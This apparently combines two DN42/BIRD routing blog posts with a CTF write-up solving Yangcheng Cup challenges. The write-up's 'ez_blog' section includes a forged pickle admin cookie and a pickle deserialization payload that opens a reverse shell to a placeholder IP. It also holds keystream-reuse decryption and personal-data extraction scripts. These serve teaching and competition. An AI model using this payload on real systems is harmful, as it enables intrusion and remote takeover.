DN42&OneManISP - Troubleshooting OSPF Source Address in a Coexistence Environment Backstory As mentioned in the previous post of this series, because the VRF solution was too isolating, the DNS service I deployed on the HKG node (172.20.234.225) became inaccessible from the DN42 network. Research indicated this could be achieved by setting up veth or NAT forwarding, but due to the scarcity of available documentation, I ultimately abandoned the VRF approach. Structure Analysis This time, I planned to place both DN42 and public internet BGP routes into the system's main routing table, then separate them for export using filters to distinguish which should be exported. For clarity, I stored the configuration for the DN42 part and the public internet part (hereinafter referred to as inet) separately, and then included them from the main configuration file. Also, since there should ideally only be one kernel configuration per routing table, I merged the DN42 and inet kernel parts, keeping only one instance. After multiple optimizations and revisions, my final directory structure is as follows: /etc/bird/ ├─envvars ├─bird.conf: Main Bird config file, defines basic info (ASN, IP, etc.), includes sub-configs below ├─kernel.conf: Kernel config, imports routes into the system routing table ├─dn42 | ├─defs.conf: DN42 function definitions, e.g., is_self_dn42_net() | ├─ibgp.conf: DN42 iBGP template | ├─rpki.conf: DN42 RPKI route validation | ├─ospf.conf: DN42 OSPF internal network | ├─static.conf: DN42 static routes | ├─ebgp.conf: DN42 Peer template | ├─ibgp | | └<ibgp configs>: DN42 iBGP configs for each node | ├─ospf | | └backbone.conf: OSPF area | ├─peers | | └<ibgp configs>: DN42 Peer configs for each node ├─inet | ├─peer.conf: Public internet Peer | ├─ixp.conf: Public internet IXP connection | ├─defs.conf: Public internet function definitions, e.g., is_self_inet_v6() | ├─upstream.conf: Public internet upstream | └static.conf: Public internet static routes I separated the function definitions because I needed to reference them in the filters within kernel.conf, so I isolated them for early inclusion. After filling in the respective configurations and setting up the include relationships, I ran birdc configure and it started successfully. So, case closed... right? Problems occurred After running for a while, I suddenly found that I couldn't ping the HKG node from my internal devices, nor could I ping my other internal nodes from the HKG node. Strangely, external ASes could ping my other nodes or other external ASes through my HKG node, and my internal nodes could also ping other non-directly connected nodes (e.g., 226(NKG)->225(HKG)->229(LAX)) via the HKG node. Using ip route get <other internal node address> revealed: root@iYoRoyNetworkHKG:/etc/bird# ip route get 172.20.234.226 172.20.234.226 via 172.20.234.226 dev dn42_nkg src 23.149.120.51 uid 0 cache See the problem? The src address should have been the HKG node's own DN42 address (configured on the OSPF stub interface), but here it showed the HKG node's public internet address instead. Attempting to read the route learned by Bird using birdc s r for 172.20.234.226: root@iYoRoyNetworkHKGBGP:/etc/bird/dn42/ospf# birdc s r for 172.20.234.226 BIRD 2.17.1 ready. Table master4: 172.20.234.226/32 unicast [dn42_ospf_iyoroynet_v4 00:30:29.307] * I (150/50) [172.20.234.226] via 172.20.234.226 on dn42_nkg onlink Looks seemingly normal...? Theoretically, although the DN42 source IP is different from the usual, DN42 rewrites krt_prefsrc when exporting to the kernel to inform the kernel of the correct source address, so this issue shouldn't occur: protocol kernel kernel_v4{ ipv4 { import none; export filter { if source = RTS_STATIC then reject; + if is_valid_dn42_network() then krt_prefsrc = DN42_OWNIP; accept; }; }; } protocol kernel kernel_v6 { ipv6 { import none; export filter { if source = RTS_STATIC then reject; + if is_valid_dn42_network_v6() then krt_prefsrc = DN42_OWNIPv6; accept; }; }; } I was stuck on this for a long time. The Solution Finally, during an unintentional attempt, I added the krt_prefsrc rewrite to the OSPF import configuration as well: protocol ospf v3 dn42_ospf_iyoroynet_v4 { router id DN42_OWNIP; ipv4 { - import where is_self_dn42_net() && source != RTS_BGP; + import filter { + if is_self_dn42_net() && source != RTS_BGP then { + krt_prefsrc=DN42_OWNIP; + accept; + } + reject; + }; export where is_self_dn42_net() && source != RTS_BGP; }; include "ospf/*"; }; protocol ospf v3 dn42_ospf_iyoroynet_v6 { router id DN42_OWNIP; ipv6 { - import where is_self_dn42_net_v6() && source != RTS_BGP; + import filter { + if is_self_dn42_net_v6() && source != RTS_BGP then { + krt_prefsrc=DN42_OWNIPv6; + accept; + } + reject; + }; export where is_self_dn42_net_v6() && source != RTS_BGP; }; include "ospf/*"; }; After running this, the src address became correct, and mutual pinging worked. Configuration files for reference: KaguraiYoRoy/Bird2-Configuration

2025 Yangcheng Cup Preliminary WriteUp GD1 The file description indicates this is a game developed with Godot Engine. Using GDRE tools to open it, we can locate the game logic: extends Node @export var mob_scene: PackedScene var score var a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101" func _ready(): pass func _process(delta: float) -> void : pass func game_over(): $ScoreTimer.stop() $MobTimer.stop() $HUD.show_game_over() func new_game(): score = 0 $Player.start($StartPosition.position) $StartTimer.start() $HUD.update_score(score) $HUD.show_message("Get Ready") get_tree().call_group("mobs", "queue_free") func _on_mob_timer_timeout(): var mob = mob_scene.instantiate() var mob_spawn_location = $MobPath / MobSpawnLocation mob_spawn_location.progress_ratio = randf() var direction = mob_spawn_location.rotation + PI / 2 mob.position = mob_spawn_location.position direction += randf_range( - PI / 4, PI / 4) mob.rotation = direction var velocity = Vector2(randf_range(150.0, 250.0), 0.0) mob.linear_velocity = velocity.rotated(direction) add_child(mob) func _on_score_timer_timeout(): score += 1 $HUD.update_score(score) if score == 7906: var result = "" for i in range(0, a.length(), 12): var bin_chunk = a.substr(i, 12) var hundreds = bin_chunk.substr(0, 4).bin_to_int() var tens = bin_chunk.substr(4, 4).bin_to_int() var units = bin_chunk.substr(8, 4).bin_to_int() var ascii_value = hundreds * 100 + tens * 10 + units result += String.chr(ascii_value) $HUD.show_message(result) func _on_start_timer_timeout(): $MobTimer.start() $ScoreTimer.start() We discover that when the score reaches 7906, a decryption algorithm is triggered to decrypt data from array a and print it. We wrote a decryption program following this logic: #include <iostream> #include <string> #include <bitset> using namespace std; int bin_to_int(const string &bin) { return stoi(bin, nullptr, 2); } string decodeBinaryString(const string &a) { string result; for (size_t i = 0; i + 12 <= a.length(); i += 12) { string bin_chunk = a.substr(i, 12); int hundreds = bin_to_int(bin_chunk.substr(0, 4)); int tens = bin_to_int(bin_chunk.substr(4, 4)); int units = bin_to_int(bin_chunk.substr(8, 4)); int ascii_value = hundreds * 100 + tens * 10 + units; result.push_back(static_cast<char>(ascii_value)); } return result; } int main() { string a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101"; cout << decodeBinaryString(a) << endl; return 0; } Execution yields the Flag: DASCTF{xCuBiFYr-u5aP2-QjspKk-rh0LO-w9WZ8DeS} 成功男人背后的女人 (The Woman Behind the Successful Man) Opening the attachment reveals an image. Based on the hint, we suspected hidden images or other content. Initial attempts with binwalk and foremost yielded nothing. Research indicated the use of Adobe Fireworks' proprietary protocol. Opening the image with appropriate tools revealed the hidden content: The symbols at the bottom were combined in binary form: 01000100010000010101001101000011 01010100010001100111101101110111 00110000011011010100010101001110 01011111011000100110010101101000 00110001011011100100010001011111 01001101010001010110111001111101 Decoding in 8-bit groups: #include <iostream> #include <string> using namespace std; int main(){ string str="010001000100000101010011010000110101010001000110011110110111011100110000011011010100010101001110010111110110001001100101011010000011000101101110010001000101111101001101010001010110111001111101"; for(int i=0;i<str.length();i+=8){ cout<<(char)stoi(str.substr(i,8).c_str(),nullptr,2); } return 0; } Execution yields: DASCTF{w0mEN_beh1nD_MEn} SM4-OFB We had AI analyze the encryption process and write a decryption script: # 使用此代码进行本地运行或在本环境运行来恢复密文（SM4-OFB 假设下） # 代码会： # 1) 使用已知 record1 的明文和密文计算每个分块的 keystream（假设使用 PKCS#7 填充到 16 字节并且每个字段单独以 OFB 从相同 IV 开始） # 2) 用得到的 keystream 去解 record2 对应字段的密文，尝试去掉填充并输出明文（UTF-8 解码） # # 说明：此脚本**不需要密钥**，只利用了已知明文与相同 IV/模式复用导致的 keystream 可重用性（这是 OFB/CTR 的典型弱点） # 请确保安装 pycryptodome（如果需要对照加密进行验证），但此脚本只做异或操作，不调用加密库。 from binascii import unhexlify, hexlify from Crypto.Util.Padding import pad, unpad def xor_bytes(a,b): return bytes(x^y for x,y in zip(a,b)) # record1 已知明文与密文（用户提供） record1 = { "name_plain": "蒋宏玲".encode('utf-8'), "name_cipher_hex": "cef18c919f99f9ea19905245fae9574e", "phone_plain": "17145949399".encode('utf-8'), "phone_cipher_hex": "17543640042f2a5d98ae6c47f8eb554c", "id_plain": "220000197309078766".encode('utf-8'), "id_cipher_hex": "1451374401262f5d9ca4657bcdd9687eac8baace87de269e6659fdbc1f3ea41c", "iv_hex": "6162636465666768696a6b6c6d6e6f70" } # record2 仅密文（用户提供） record2 = { "name_cipher_hex": "c0ffb69293b0146ea19d5f48f7e45a43", "phone_cipher_hex": "175533440427265293a16447f8eb554c", "id_cipher_hex": "1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c", "iv_hex": "6162636465666768696a6b6c6d6e6f70" } BS = 16 # 分组长度 # 工具：把字段按 16 字节块切分 def split_blocks(b): return [b[i:i+BS] for i in range(0, len(b), BS)] # 1) 计算 record1 每个字段的 keystream（假设加密前用 PKCS#7 填充，然后按块 XOR） ks_blocks = {"name": [], "phone": [], "id": []} # name C_name = unhexlify(record1["name_cipher_hex"]) P_name_padded = pad(record1["name_plain"], BS) for c, p in zip(split_blocks(C_name), split_blocks(P_name_padded)): ks_blocks["name"].append(xor_bytes(c, p)) # phone C_phone = unhexlify(record1["phone_cipher_hex"]) P_phone_padded = pad(record1["phone_plain"], BS) for c, p in zip(split_blocks(C_phone), split_blocks(P_phone_padded)): ks_blocks["phone"].append(xor_bytes(c, p)) # id (可能为两块) C_id = unhexlify(record1["id_cipher_hex"]) P_id_padded = pad(record1["id_plain"], BS) for c, p in zip(split_blocks(C_id), split_blocks(P_id_padded)): ks_blocks["id"].append(xor_bytes(c, p)) print("Derived keystream blocks (hex):") for field, blks in ks_blocks.items(): print(field, [b.hex() for b in blks]) # 2) 使用上述 keystream 去解 record2 相应字段 def recover_field(cipher_hex, ks_list): C = unhexlify(cipher_hex) blocks = split_blocks(C) recovered_padded = b''.join(xor_bytes(c, ks) for c, ks in zip(blocks, ks_list)) # 尝试去除填充并解码 try: recovered = unpad(recovered_padded, BS).decode('utf-8') except Exception as e: recovered = None return recovered, recovered_padded name_rec, name_padded = recover_field(record2["name_cipher_hex"], ks_blocks["name"]) phone_rec, phone_padded = recover_field(record2["phone_cipher_hex"], ks_blocks["phone"]) id_rec, id_padded = recover_field(record2["id_cipher_hex"], ks_blocks["id"]) print("\nRecovered (if OFB with same IV/key and per-field restart):") print("Name padded bytes (hex):", name_padded.hex()) print("Name plaintext:", name_rec) print("Phone padded bytes (hex):", phone_padded.hex()) print("Phone plaintext:", phone_rec) print("ID padded bytes (hex):", id_padded.hex()) print("ID plaintext:", id_rec) # 如果解码失败，打印原始 bytes 以便人工分析 # if name_rec is None: # print("\nName padded bytes (raw):", name_padded) # if phone_rec is None: # print("Phone padded bytes (raw):", phone_padded) # if id_rec is None: # print("ID padded bytes (raw):", id_padded) # 结束 We found that names and ID numbers could be computed. After dumping all names from the Excel sheet into a text file, we had AI write a batch processing script: #!/usr/bin/env python3 """ Batch-decrypt names encrypted with SM4-OFB where the same IV/nonce was reused and one known plaintext/ciphertext pair is available (from record1). This script: - Reads an input file (one hex-encoded cipher per line). - Uses the known record1 name plaintext & ciphertext to derive the OFB keystream blocks for the name-field (keystream = C XOR P_padded). - XORs each input cipher with the derived keystream blocks to recover plaintext, removes PKCS#7 padding if present, and prints a line containing: <recovered_name>\t<cipher_hex> Usage: python3 sm4_ofb_batch_decrypt_names.py names_cipher.txt Notes: - This assumes each name was encrypted as a separate field starting OFB from the same IV (so keystream blocks align for the name-field) and PKCS#7 padding was used before encryption. If names exceed the number of derived keystream blocks the script will attempt to reuse the keystream cyclically (warns about it), but ideally you should supply a longer known plaintext/ciphertext pair to derive more keystream blocks. - Requires pycryptodome for padding utilities: pip install pycryptodome Edit the KNOWN_* constants below if your known record1 values differ. """ import sys from binascii import unhexlify, hexlify from Crypto.Util.Padding import pad, unpad # ----------------------- # ----- KNOWN VALUES ---- # ----------------------- # These are taken from the CTF prompt / earlier messages. Change them if needed. KNOWN_NAME_PLAIN = "蒋宏玲" # record1 known plaintext for name field KNOWN_NAME_CIPHER_HEX = "cef18c919f99f9ea19905245fae9574e" # record1 name ciphertext hex IV_HEX = "6162636465666768696a6b6c6d6e6f70" # the IV column (fixed) # Block size for SM4 (16 bytes) BS = 16 # ----------------------- # ----- Helpers --------- # ----------------------- def xor_bytes(a: bytes, b: bytes) -> bytes: return bytes(x ^ y for x, y in zip(a, b)) def split_blocks(b: bytes, bs: int = BS): return [b[i:i+bs] for i in range(0, len(b), bs)] # ----------------------- # ----- Derive keystream from the known pair # ----------------------- def derive_keystream_from_known(known_plain: str, known_cipher_hex: str): p = known_plain.encode('utf-8') c = unhexlify(known_cipher_hex) p_padded = pad(p, BS) p_blocks = split_blocks(p_padded) c_blocks = split_blocks(c) if len(p_blocks) != len(c_blocks): raise ValueError('Known plaintext/cipher block count mismatch') ks_blocks = [xor_bytes(cb, pb) for cb, pb in zip(c_blocks, p_blocks)] return ks_blocks # ----------------------- # ----- Recovery -------- # ----------------------- def recover_name_from_cipher_hex(cipher_hex: str, ks_blocks): c = unhexlify(cipher_hex.strip()) c_blocks = split_blocks(c) # If there are more cipher blocks than ks_blocks, warn and reuse ks cyclically if len(c_blocks) > len(ks_blocks): print("[WARN] cipher needs %d blocks but only %d keystream blocks available; reusing keystream cyclically" % (len(c_blocks), len(ks_blocks)), file=sys.stderr) recovered_blocks = [] for i, cb in enumerate(c_blocks): ks = ks_blocks[i % len(ks_blocks)] recovered_blocks.append(xor_bytes(cb, ks)) recovered_padded = b''.join(recovered_blocks) # Try to unpad and decode; if fails, return hex of raw bytes try: recovered = unpad(recovered_padded, BS).decode('utf-8') except Exception: try: recovered = recovered_padded.decode('utf-8') except Exception: recovered = '<raw:' + recovered_padded.hex() + '>' return recovered # ----------------------- # ----- Main ----------- # ----------------------- def main(): if len(sys.argv) != 2: print('Usage: python3 sm4_ofb_batch_decrypt_names.py <names_cipher_file>', file=sys.stderr) sys.exit(2) inpath = sys.argv[1] ks_blocks = derive_keystream_from_known(KNOWN_NAME_PLAIN, KNOWN_NAME_CIPHER_HEX) with open(inpath, 'r', encoding='utf-8') as f: for lineno, line in enumerate(f, 1): line = line.strip() if not line: continue # Assume each line is one hex-encoded name ciphertext (no spaces) try: recovered = recover_name_from_cipher_hex(line, ks_blocks) except Exception as e: recovered = '<error: %s>' % str(e) print(f"{recovered}\t{line}") if __name__ == '__main__': main() Searching revealed that the ciphertext corresponding to 何浩璐 was c2de929284bff9f63b905245fae9574e. Searching for the ID number ciphertext corresponding to this in Excel yielded: 1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c. Decrypting this with the above script gave: 120000197404101676. Calculating its MD5: fbb80148b75e98b18d65be446f505fcc gives the Flag. dataIdSort We provided the requirements to AI and had it write a script: #!/usr/bin/env python3 # coding: utf-8 """ 功能： - 从 data.txt 中按顺序精确提取：身份证(idcard)、手机号(phone)、银行卡(bankcard)、IPv4(ip)、MAC(mac)。 - 严格遵循《个人信息数据规范文档》，优化正则表达式和匹配策略以达到高准确率。 - 所有匹配项均保留原始格式，并输出到 output.csv 文件中。 """ import re import csv from datetime import datetime # ------------------- 配置 ------------------- INPUT_FILE = "data.txt" OUTPUT_FILE = "output.csv" DEBUG = False # 设置为 True 以在控制台打印详细的接受/拒绝日志 # 手机号前缀白名单 ALLOWED_MOBILE_PREFIXES = { "134", "135", "136", "137", "138", "139", "147", "148", "150", "151", "152", "157", "158", "159", "172", "178", "182", "183", "184", "187", "188", "195", "198", "130", "131", "132", "140", "145", "146", "155", "156", "166", "167", "171", "175", "176", "185", "186", "196", "133", "149", "153", "173", "174", "177", "180", "181", "189", "190", "191", "193", "199" } # --------------------------------------------- # ------------------- 校验函数 ------------------- def luhn_check(digits: str) -> bool: """对数字字符串执行Luhn算法校验。""" s = 0 alt = False for char in reversed(digits): d = int(char) if alt: d *= 2 if d > 9: d -= 9 s += d alt = not alt return s % 10 == 0 def is_valid_id(raw: str): """校验身份证号的有效性（长度、格式、出生日期、校验码）。""" sep_pattern = r'[\s\-\u00A0\u3000\u2013\u2014]' s = re.sub(sep_pattern, '', raw) if len(s) != 18 or not re.match(r'^\d{17}[0-9Xx]$', s): return False, "无效的格式或长度" try: birth_date = datetime.strptime(s[6:14], "%Y%m%d") if not (1900 <= birth_date.year <= datetime.now().year): return False, f"无效的出生年份: {birth_date.year}" except ValueError: return False, "无效的出生日期" weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] check_map = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2'] total = sum(int(digit) * weight for digit, weight in zip(s[:17], weights)) expected_check = check_map[total % 11] if s[17].upper() != expected_check: return False, f"校验码不匹配: 期望值 {expected_check}" return True, "" def is_valid_phone(raw: str) -> bool: """校验手机号的有效性（长度和号段）。""" digits = re.sub(r'\D', '', raw) if digits.startswith("86") and len(digits) > 11: digits = digits[2:] return len(digits) == 11 and digits[:3] in ALLOWED_MOBILE_PREFIXES def is_valid_bankcard(raw: str) -> bool: """校验银行卡号的有效性（16-19位纯数字 + Luhn算法）。""" if not (16 <= len(raw) <= 19 and raw.isdigit()): return False return luhn_check(raw) def is_valid_ip(raw: str) -> bool: """校验IPv4地址的有效性（4个0-255的数字，不允许前导零）。""" parts = raw.split('.') if len(parts) != 4: return False # 检查是否存在无效部分，如 '01' if any(len(p) > 1 and p.startswith('0') for p in parts): return False return all(p.isdigit() and 0 <= int(p) <= 255 for p in parts) def is_valid_mac(raw: str) -> bool: """校验MAC地址的有效性。""" # 正则表达式已经非常严格，这里仅做最终确认 return re.fullmatch(r'([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}', raw, re.IGNORECASE) is not None # ------------------- 正则表达式定义 ------------------- # 模式的顺序经过精心设计，以减少匹配歧义：优先匹配格式最特殊的。 # 1. MAC地址：格式明确，使用冒号分隔。 mac_pattern = r'(?P<mac>(?:[0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2})' # 2. IP地址：格式明确，使用点分隔。该正则更精确，避免匹配如 256.1.1.1 的无效IP。 ip_pattern = r'(?P<ip>(?<!\d)(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?!\d))' # 3. 身份证号：结构为 6-8-4，长度固定，比纯数字的银行卡更具特异性。 sep = r'[\s\-\u00A0\u3000\u2013\u2014]' id_pattern = rf'(?P<id>(?<!\d)\d{{6}}(?:{sep}*)\d{{8}}(?:{sep}*)\d{{3}}[0-9Xx](?!\d))' # 4. 银行卡号：匹配16-19位的连续数字。这是最通用的长数字模式之一，放在后面匹配。 bankcard_pattern = r'(?P<bankcard>(?<!\d)\d{16,19}(?!\d))' # 5. 手机号：匹配11位数字的特定格式，放在最后以避免错误匹配更长数字串的前缀。 phone_prefix = r'(?:\(\+86\)|\+86\s*)' phone_body = r'(?:\d{11}|\d{3}[ -]\d{4}[ -]\d{4})' phone_pattern = rf'(?P<phone>(?<!\d)(?:{phone_prefix})?{phone_body}(?!\d))' # 将所有模式编译成一个大的正则表达式 combined_re = re.compile( f'{mac_pattern}|{ip_pattern}|{id_pattern}|{bankcard_pattern}|{phone_pattern}', flags=re.UNICODE | re.IGNORECASE ) # ------------------- 主逻辑 ------------------- def extract_from_text(text: str): """ 使用单一的、组合的正则表达式从文本中查找所有候选者，并逐一校验。 """ results = [] for match in combined_re.finditer(text): kind = match.lastgroup value = match.group(kind) if kind == 'mac': if is_valid_mac(value): if DEBUG: print(f"【接受 mac】: {value}") results.append(('mac', value)) elif DEBUG: print(f"【拒绝 mac】: {value}") elif kind == 'ip': if is_valid_ip(value): if DEBUG: print(f"【接受 ip】: {value}") results.append(('ip', value)) elif DEBUG: print(f"【拒绝 ip】: {value}") elif kind == 'id': is_valid, reason = is_valid_id(value) if is_valid: if DEBUG: print(f"【接受 idcard】: {value}") results.append(('idcard', value)) else: # 降级处理：如果作为身份证校验失败，则尝试作为银行卡校验 digits_only = re.sub(r'\D', '', value) if is_valid_bankcard(digits_only): if DEBUG: print(f"【接受 id->bankcard】: {value}") # 规范要求保留原始格式 results.append(('bankcard', value)) elif DEBUG: print(f"【拒绝 id】: {value} (原因: {reason})") elif kind == 'bankcard': if is_valid_bankcard(value): if DEBUG: print(f"【接受 bankcard】: {value}") results.append(('bankcard', value)) elif DEBUG: print(f"【拒绝 bankcard】: {value}") elif kind == 'phone': if is_valid_phone(value): if DEBUG: print(f"【接受 phone】: {value}") results.append(('phone', value)) elif DEBUG: print(f"【拒绝 phone】: {value}") return results def main(): """主函数：读取文件，执行提取，写入CSV。""" try: with open(INPUT_FILE, "r", encoding="utf-8", errors="ignore") as f: text = f.read() except FileNotFoundError: print(f"错误: 输入文件 '{INPUT_FILE}' 未找到。请确保该文件存在于脚本运行目录下。") # 创建一个空的data.txt以确保脚本可以运行 with open(INPUT_FILE, "w", encoding="utf-8") as f: f.write("") print(f"已自动创建空的 '{INPUT_FILE}'。请向其中填充需要分析的数据。") text = "" extracted_data = extract_from_text(text) with open(OUTPUT_FILE, "w", newline="", encoding="utf-8") as csvfile: writer = csv.writer(csvfile) writer.writerow(["category", "value"]) writer.writerows(extracted_data) print(f"分析完成。共识别 {len(extracted_data)} 条有效敏感数据。结果已保存至 '{OUTPUT_FILE}'。") if __name__ == "__main__": main() Execution produces export.csv. Uploading this with accuracy >=98% yields the Flag: DASCTF{34164200333121342836358909307523} ez_blog Opening the webpage revealed a login requirement. Following hints, we successfully logged in as a guest using username guest and password guest. We observed a Cookie containing Token=8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e. AI analysis revealed this was pickle serialization converted to hex. Decoding showed: KappUser)}(idusernameguesis_admin logged_inub.. We modified the content to change username to admin and is_admin to True, resulting in: 8004954b000000000000008c03617070948c04557365729493942981947d9428 8c026964944b028c08757365726e616d65948c0561646d696e948c0869735f61 646d696e94888c096c6f676765645f696e948875622e. Modifying the request Cookies via BurpSuite successfully granted admin privileges (with article creation rights): This indicated the server deserializes the Token, allowing exploitation of deserialization vulnerabilities. With no echo, we opted for a reverse shell. We crafted the Payload: import pickle import time import binascii import os class Exploit: def __reduce__(self): return (os.system, ('''python3 -c "import os import socket import subprocess s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('<Your IP>', 2333)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) p = subprocess.call(['/bin/sh', '-i'])"''',)) payload = pickle.dumps(Exploit()) hex_token = binascii.hexlify(payload).decode() print(hex_token) print(payload) obj = pickle.loads(payload) Execution produced the Payload: 80049510010000000000008c05706f736978948c0673797374656d9493948cf5707974686f6e33202d632022696d706f7274206f730a696d706f727420736f636b65740a696d706f72742073756270726f636573730a733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c20736f636b65742e534f434b5f53545245414d290a732e636f6e6e6563742828273c596f75722049503e272c203233333329290a6f732e6475703228732e66696c656e6f28292c2030290a6f732e6475703228732e66696c656e6f28292c2031290a6f732e6475703228732e66696c656e6f28292c2032290a70203d2073756270726f636573732e63616c6c285b272f62696e2f7368272c20272d69275d292294859452942e. After running nc -lvvp 2333 on our server and sending the Payload as the Token, we successfully obtained a shell. The Flag was located in /thisisthefffflllaaaggg.txt: Flag: DASCTF{15485426979172729258466667411440}

DN42&OneManISP - Using VRF to Run Public BGP and DN42 on the Same Machine Background Currently, public BGP and DN42 each use a separate VPS in the same region, meaning two machines are required per region. After learning about VRF from a group member, I explored using VRF to enable a single machine to handle both public BGP and DN42 simultaneously. Note: Due to its isolation nature, the VRF solution will prevent DN42 from accessing services on the host. If you need to run services (like DNS) on the server for DN42, you might need additional port forwarding or veth configuration, which is beyond the scope of this article. (This is also the reason why I ultimately did not adopt VRF in my production environment). Advantages of VRF Although DN42 uses private IP ranges and internal ASNs, which theoretically shouldn't interfere with public BGP, sharing the same routing table can lead to issues like route pollution and management complexity. VRF (Virtual Routing and Forwarding) allows creating multiple routing tables on a single machine. This means we can isolate DN42 routes into a separate routing table, keeping them apart from the public routing table. The advantages include: Absolute Security and Policy Isolation: The DN42 routing table is isolated from the public routing table, fundamentally preventing route leaks. Clear Operation and Management: Use commands like birdc show route table t_dn42 and birdc show route table t_inet to view and debug two completely independent routing tables, making things clear at a glance. Fault Domain Isolation: If a DN42 peer flaps, the impact is confined to the dn42 routing table. It won't consume routing computation resources for the public instance nor affect public forwarding performance. Alignment with Modern Network Design Principles: Using VRF for different routing domains (production, testing, customer, partner) is standard practice in modern network engineering. It logically divides your device into multiple virtual routers. Configuration System Part Creating the VRF Interface Use the following commands to create a VRF device named dn42-vrf and associate it with the system's routing table number 1042: ip link add dn42-vrf type vrf table 1042 ip link set dev dn42-vrf up # Enable it You can change the routing table number according to your preference, but avoid the following reserved routing table IDs: Name ID Description unspec 0 Unspecified, rarely used main 254 Main routing table, where most ordinary routes reside default 253 Generally unused, reserved local 255 Local routing table, contains 127.0.0.1/8, local IPs, broadcast addresses, etc. Cannot be modified Associating Existing Network Interfaces with VRF In my current DN42 setup, several WireGuard interfaces and a dummy interface are used for DN42. Therefore, associate these interfaces with the VRF: ip link set dev <interface_name> master dn42-vrf Note: After associating an interface with a VRF, it might lose its IP addresses. Therefore, you need to readd the addresses, for example: ip addr add 172.20.234.225 dev dn42 After completion, ip a should show the corresponding interface's master as dn42-vrf: 156: dn42: <BROADCAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc noqueue master dn42-vrf state UNKNOWN group default qlen 1000 link/ether b6:f5:28:ed:23:04 brd ff:ff:ff:ff:ff:ff inet 172.20.234.225/32 scope global dn42 valid_lft forever preferred_lft forever inet6 fd18:3e15:61d0::1/128 scope global valid_lft forever preferred_lft forever inet6 fe80::b4f5:28ff:feed:2304/64 scope link valid_lft forever preferred_lft forever Persistence I use ifupdown to automatically load the dummy interface and VRF device on boot. For the VRF device, create the file /etc/network/interfaces.d/01-dn42-vrf and add: auto dn42-vrf iface dn42-vrf inet manual pre-up ip link add $IFACE type vrf table 1042 up ip link set dev $IFACE up post-down ip link del $IFACE Then use ifup dn42-vrf to start it. For the dummy interface, create the file /etc/network/interfaces.d/90-dn42 and add: auto dn42 iface dn42 inet static address 172.20.234.225 netmask 32 pre-up ip link add $IFACE type dummy up ip link set $IFACE up master dn42-vrf # 此处master指定和dn42-vrf相关联 down ip link set $IFACE down post-down ip link del $IFACE iface dn42 inet6 static address fd18:3e15:61d0::1 netmask 128 Because ifupdown doesn't support configuring both IPv4 and IPv6 addresses in one iface block, they need to be split. My dummy interface is named dn42; modify accordingly if yours is different. After creation, use ifup dn42 to start the dummy interface. Note: The number prefix for the VRF device file should be smaller than that of the dummy interface file, ensuring the VRF device starts first. WireGuard Tunnels Add PostUp commands to associate them with the VRF and readd their addresses. Example: [Interface] PrivateKey = [Data Redacted] ListenPort = [Data Redacted] Table = off Address = fe80::2024/64 PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0 + PostUp = ip link set dev %i master dn42-vrf + PostUp = ip addr add fe80::2024/64 dev %i [Peer] PublicKey = [Data Redacted] Endpoint = [Data Redacted] AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 172.31.0.0/16, fd00::/8, fe00::/8 Then restart the tunnel. Bird2 Part First, define two routing tables for DN42's IPv4 and IPv6: ipv4 table dn42_table_v4; ipv6 table dn42_table_v6 Then, specify the VRF and system routing table number in the kernel protocol, and specify the previously created v4/v6 routing tables in the IPv4/IPv6 sections: protocol kernel dn42_kernel_v6{ + vrf "dn42-vrf"; + kernel table 1042; scan time 20; ipv6 { + table dn42_table_v6; import none; export filter { if source = RTS_STATIC then reject; krt_prefsrc = DN42_OWNIPv6; accept; }; }; }; protocol kernel dn42_kernel_v4{ + vrf "dn42-vrf"; + kernel table 1042; scan time 20; ipv4 { + table dn42_table_v4; import none; export filter { if source = RTS_STATIC then reject; krt_prefsrc = DN42_OWNIP; accept; }; }; } For protocols other than kernel, add the VRF and the independent IPv4/IPv6 tables, but do not specify the system routing table number: protocol static dn42_static_v4{ + vrf "dn42-vrf"; route DN42_OWNNET reject; ipv4 { + table dn42_table_v4; import all; export none; }; } protocol static dn42_static_v6{ + vrf "dn42-vrf"; route DN42_OWNNETv6 reject; ipv6 { + table dn42_table_v6; import all; export none; }; } In summary: Configure a VRF and the previously defined routing tables for everything related to DN42. Only the kernel protocol needs the system routing table number specified; others do not. Apply the same method to BGP, OSPF, etc. However, I chose to use separate Router IDs for the public internet and DN42, so a separate Router ID needs to be configured: # /etc/bird/dn42/ospf.conf protocol ospf v3 dn42_ospf_iyoroynet_v4 { + vrf "dn42-vrf"; + router id DN42_OWNIP; ipv4 { + table dn42_table_v4; import where is_self_dn42_net() && source != RTS_BGP; export where is_self_dn42_net() && source != RTS_BGP; }; include "ospf/*"; }; protocol ospf v3 dn42_ospf_iyoroynet_v6 { + vrf "dn42-vrf"; + router id DN42_OWNIP; ipv6 { + table dn42_table_v6; import where is_self_dn42_net_v6() && source != RTS_BGP; export where is_self_dn42_net_v6() && source != RTS_BGP; }; include "ospf/*"; }; # 